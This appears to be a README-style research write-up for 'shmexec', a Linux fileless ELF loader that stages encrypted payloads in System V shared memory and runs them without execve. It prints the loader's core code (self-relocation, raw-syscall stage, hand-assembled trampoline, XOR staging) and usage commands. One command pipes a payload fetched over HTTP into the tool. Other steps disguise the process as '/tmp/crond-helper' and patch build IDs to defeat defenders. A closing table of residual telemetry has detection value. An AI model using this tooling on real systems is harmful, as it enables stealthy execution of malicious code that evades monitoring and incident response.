Fileless ELF execution where the payload is never represented by a file descriptor, dentry, or key, at any point. The payload lives in kernel memory, encrypted and chunked, marked for destruction the moment it is touched, and handed off with a process identity that matches itself. This is a version-locked PoC, the claim below is exactly the property it demonstrates.
The storage issue
Every fileless loader needs somewhere to put the payload before it runs, and every kernel object it picks becomes a signature. The three established options each leave an artifact that is cheap to enumerate:
| Store | Representation | Where it shows |
|---|---|---|
| memfd | fd + pseudo-dentry | /proc/pid/fd, /memfd: in maps |
| O_TMPFILE | real inode | /tmp/#N (deleted) in maps, fs telemetry |
| kernel keyring | key | /proc/keys, add_key/keyctl, 20 KB quota |
System V shared memory has none of those. shmat creates no file descriptor. The segment has no dentry in any filesystem namespace. There is no key, and no 20 KB quota. SHMMAX on a default kernel is effectively unbounded. The only enumerators are ipcs and /proc/sysvipc/shm, and shmexec removes that visibility twice over:
IPC_RMIDon attach. The segment is marked for destruction the instant it is touched. It disappears from enumeration immediately and is destroyed with the process.- A private IPC namespace. In
selfmode the loader runs the entire operation insideunshare(CLONE_NEWUSER|CLONE_NEWIPC). The segment never exists in the host's IPC namespace at all.
The property, at no point in its lifecycle is the payload represented by an fd, dentry, or key, is a measured result in this PoC. Every phase was instrumented and checked, and the method is documented below. The "first published" framing is a literature claim, not a measurement: a search of published loaders and related repos found none built on SysV shm as the execution store. That is the best a priority claim can be, and it is stated as such.
The design
self one process private namespace
$ cp shmexec /tmp/crond-helper$ ./samebuildid /tmp/crond-helper payload.bin$ /tmp/crond-helper self payload.bin
unshare(CLONE_NEWUSER|CLONE_NEWIPC), the segment will never be visible to the host.- Payload read (file, stdin, or HTTP),
shmgetin the private namespace,shmat,IPC_RMID. - The payload's
PT_LOADs are mapped withMAP_FIXEDat the loader's own kernel-chosen PIE base, the canonical0x55…slot the kernel gave the loader itself. - A trampoline resets
FS/GS, zeroes the general registers to kernel-equivalent state, and jumps into ld.so's entry point. Noexecve, ever.
feed / run, the payload never touches the runner
$ curl -s http://host/payload | shmexec feed -id=98328,98329,98330$ shmexec run 98328,98329,98330 sshd
The feeder encrypts, chunks, and stages the payload in shm segments and prints the ids. The runner attaches, decrypts, destroys the segments, and executes. It never opens the payload file and never touches a network socket. shmexec clean <ids> tears down a staged-but-unused delivery.
What the staging encryption is for
The chunk XOR is deliberately simple and is not the point. Its observer model is narrow and explicit: it defeats an observer who can read the segments, someone racing to shmat by id, a kernel-memory capture taken while the segment lives, or a scanner looking for ELF magic in kernel memory. It does nothing against an observer who can watch syscalls. The key travels with the ids, and the runner's decrypted buffer is ordinary process memory. Anyone swapping this into operations should replace it with real cryptography. The PoC demonstrates the staging property, not a cipher.
Behind the scenes
Four moving parts do the actual work: a self-relocating clone, a libc-free stage, a hand-assembled trampoline, and the staging code. Each is short enough to show whole.
Part 1: clone yourself, then vacate
The loader is an ordinary PIE. It records the base the kernel gave it, copies its own PT_LOADs into a scratch mmap, and rewrites every R_X86_64_RELATIVE relocation for the new base, in place, from the already-relocated image:
/* copy own segments to the scratch region */for (int i = 0; i < eh->e_phnum; i++) { Elf64_Phdr *ph = phdr_at(eh, i); if (ph->p_type != PT_LOAD || !ph->p_memsz) continue; xcopy((void *)(G.reloc_base + ph->p_vaddr), (const void *)(G.old_base + ph->p_vaddr), ph->p_filesz);}/* re-relocate: old values carry old_base; subtract it, add the new one */for (uintptr_t off = 0; off < relasz; off += sizeof(Elf64_Rela)) { Elf64_Rela *r = (Elf64_Rela *)(G.old_base + rela + off); if (ELF64_R_TYPE(r->r_info) == R_X86_64_RELATIVE && r->r_offset) *(uintptr_t *)(G.reloc_base + r->r_offset) = G.reloc_base + (*(uintptr_t *)(G.old_base + r->r_offset) - G.old_base);}
One jump later the loader executes from 0x7f… and the canonical 0x55… slot is empty, which is exactly where the payload is about to go. Two traps live here: zero-initialized globals sit in .bss, which the copy loop never touches (one non-zero initializer forces the whole state struct into .data), and anything the clone will need must be created before the copy, or the clone sees a zero.
Part 2: a stage with no libc
After the jump, the old libc, ld.so, and heap are about to be unmapped, so the stage cannot call into any of them. Every operation is a raw syscall through a tiny asm shim:
static long raw6(long n, long a1, long a2, long a3, long a4, long a5, long a6){ long ret; register long r10 __asm__("r10") = a4; register long r8 __asm__("r8") = a5; register long r9 __asm__("r9") = a6; __asm__ volatile("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2), "d"(a3), "r"(r10), "r"(r8), "r"(r9) : "rcx", "r11", "memory"); return ret;}
That one function, plus explicit byte-copy loops, is the entire post-libc runtime. The stage then does the sequence the whole technique exists for, unmap the world, map the payload into the vacancy:
/* everything recorded at startup: old image, libc, ld.so, caches, gone */for (int i = 0; i < G.n_unmap; i++) raw3(11, G.unmap*.start, G.unmap*.end - G.unmap*.start, 0);/* the payload inherits the loader's own kernel-chosen base */uintptr_t t_base = (G.t_type == ET_DYN) ? G.old_base : 0;map_elf_raw(t_base, (const unsigned char *)staging); /* MAP_FIXED PT_LOADs */
scan_maps decides what survives: the stack, vdso, vvar (including the [vvar_vclock] split newer kernels use), the brk heap (the kernel resets brk on unmap, and the target's malloc would inherit a corrupt arena), and the anonymous TLS cluster (FS.BASE still points at the old thread control block until the trampoline resets it; unmap that region and any early %fs access faults).
Part 3: the trampoline
The handoff itself is 123 bytes of hand-assembled machine code, patched at runtime with the four addresses it needs:
static const unsigned char tpl[123] = { 0xf3, 0x0f, 0x1e, 0xfa, /* endbr64 */ 0x48, 0xbf, 0,0,0,0,0,0,0,0, /* movabs rdi, reloc_base */ 0x48, 0xbe, 0,0,0,0,0,0,0,0, /* movabs rsi, reloc_size */ 0xb8, 0x0b, 0x00, 0x00, 0x00, /* mov eax, 11 */ 0x0f, 0x05, /* syscall (munmap) */ 0x48, 0xbc, 0,0,0,0,0,0,0,0, /* movabs rsp, layout */ 0x48, 0x89, 0xe7, /* mov rdi, rsp */ 0x48, 0xba, 0,0,0,0,0,0,0,0, /* movabs rdx, t_base */ 0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9, /* xor eax..ecx */ 0x31, 0xf6, 0x31, 0xed, /* xor esi, ebp */ 0x45, 0x31, 0xc0, 0x45, 0x31, 0xc9, /* xor r8d..r15d */ 0x45, 0x31, 0xd2, 0x45, 0x31, 0xdb, 0x45, 0x31, 0xe4, 0x45, 0x31, 0xed, 0x45, 0x31, 0xf6, 0x45, 0x31, 0xff, 0xb8, 0x9e, 0x00, 0x00, 0x00, /* mov eax, 158 */ 0xbf, 0x02, 0x10, 0x00, 0x00, /* mov edi, 0x1002 FS=0 */ 0x31, 0xf6, 0x0f, 0x05, /* syscall (arch_prctl) */ 0xbf, 0x01, 0x10, 0x00, 0x00, /* mov edi, 0x1001 GS=0 */ 0x31, 0xf6, 0x0f, 0x05, 0x48, 0xb8, 0,0,0,0,0,0,0,0, /* movabs rax, entry */ 0xff, 0xe0, /* jmp rax */};
Read it top to bottom: the trampoline runs from its own page, unmaps the scratch region it used to live in (self-destructing the loader), switches to the freshly built stack, resets FS/GS, zeroes every general register, the exact state the kernel leaves at execve, which glibc's _start depends on, and jumps to the interpreter's entry point. On the glibc version tested (2.44), ld.so's _start passes the initial stack pointer to _dl_start in rdi (elf/rtld.c); older glibc passed the program's ELF header in rdx instead, which is why the trampoline sets both. ld.so then relocates itself, loads libc, sets up TLS, and calls main, never knowing no exec happened.
The initial stack deserves a note of its own: it is built by hand, argc, argv, the full environ, and a complete auxv (AT_PHDR, AT_BASE, AT_ENTRY, AT_EXECFN pointing at the loader's real path, AT_RANDOM), on the surviving stack, so the payload inherits the operator's environment exactly.
Part 4: the staging path, feed side
The feeder's staging loop is the whole storage story in miniature:
/* chunk sizes derived from the key: 32–48 KB, no fixed pattern */size_t n = 0, pos = 0;while (pos < len && n < SHM_MAXC) { size_t cl = 0x8000 + ((key[n % SHM_KEY_SZ] * 7) % 0x4000); if (cl > len - pos) cl = len - pos; sizes[n++] = (uint32_t)cl; pos += cl;}/* header segment: sizes + key; payload segments: XOR'd chunks */for (size_t c = 0; c < n; c++) { unsigned char *chunk = calloc(1, sizes[c]); for (size_t i = 0; i < sizes[c]; i++) chunk* = buf[off + i] ^ key[(off + i) % SHM_KEY_SZ]; int id = shmget(IPC_PRIVATE, sizes[c], IPC_CREAT | 0600); void *q = shmat(id, NULL, 0); memcpy(q, chunk, sizes[c]); shmdt(q); off += sizes[c];}
The runner does the mirror image: shmat, IPC_RMID on the first touch, decrypt into an ordinary buffer, detach. The ciphertext never survives the attach, and the segments are dead before a single payload byte is mapped.
A process identity that matches itself
The usual tells of userland exec are self-inflicted: a deleted exe link, a comm that contradicts it, a build ID that betrays the swap. shmexec removes each one:
- The loader stays on disk under whatever name the operator chooses. The exe link is a real file, no
(deleted). comm,cmdline, andargv[0]default to the loader's own basename, so they agree with the exe link.-soverrides.AT_EXECFNpoints at the loader's real path, which exists.samebuildidpatches the loader's on-disk build ID to match the payload's. A defender diffing the exe's build ID against the in-memory image finds them equal.
And because the loader is a long-lived process (-d delays the handoff arbitrarily), the identity change is not a process-creation event at all.
What the target sees, end to end:
exe = /tmp/crond-helpercomm = crond-helpercmdline = crond-helperargv0 = crond-helper
Method and verification
Environment: x86-64, kernel 7.2.2 (cachyos), glibc 2.44, gcc 16.2. The loader is pinned to glibc 2.44's entry convention (_start in elf/rtld.c passing the initial stack pointer to _dl_start in rdi). This is a version-locked PoC, and no porting matrix is claimed.
Residual telemetry
The interesting question is what remains after the storage and identity work. That surface, checked against the telemetry a modern Linux endpoint actually has:
| Telemetry source | What it sees | Residual signal |
|---|---|---|
eBPF exec tracepoints / sched_process_exec | nothing, no exec occurs | the absence itself, if correlated against identity change |
| auditd syscall rules | shmget/shmat/shmctl + mmap(MAP_FIXED) + mprotect(PROT_EXEC) | the primary signature; rare-syscall sequence |
| maps scanning | anonymous executable regions at the canonical PIE base; anonymous ld.so; 4 KB trampoline | anomalous-but-normal-shaped; needs the exec-trace correlation |
| auxv inspection | AT_EXECFN consistent with exe | none, by construction |
| user-namespace accounting | /proc/pid/uid_map shows the 0 → real-uid mapping; NSpid reflects the new ns | visible userns creation, an operator-level tell on hardened hosts |
prctl(PR_SET_NAME) watchers | name change without exec | weak alone; meaningful with the above |
| eBPF on shm ops | the segment lifecycle, regardless of namespace | requires prior deployment of a shm-aware probe |
Three of these, the syscall sequence, the userns mapping, and the missing exec event, are irreducible in userland. Removing the first two would require a different storage medium, which would reintroduce an enumerable representation. Removing the third would require execve, which would forfeit the whole property. That trade-off is the technique's defining boundary, stated plainly.
Prior art and the contribution
The execution machinery stands on published work: grugq's ul_exec, fireelf, ulexecve, Dntry, and the address-space recycling handoff from palimpsest. The contribution here is the storage layer, a payload that is never represented by an fd, dentry, or key, combined with the encrypted chunked staging and the identity package that makes the surviving process self-consistent. The "first published" wording above is a literature claim with the basis given; the property itself is the measured result.
Code: github.com/klydz/shmexec. Research PoC, run only on systems you own or are authorized to test.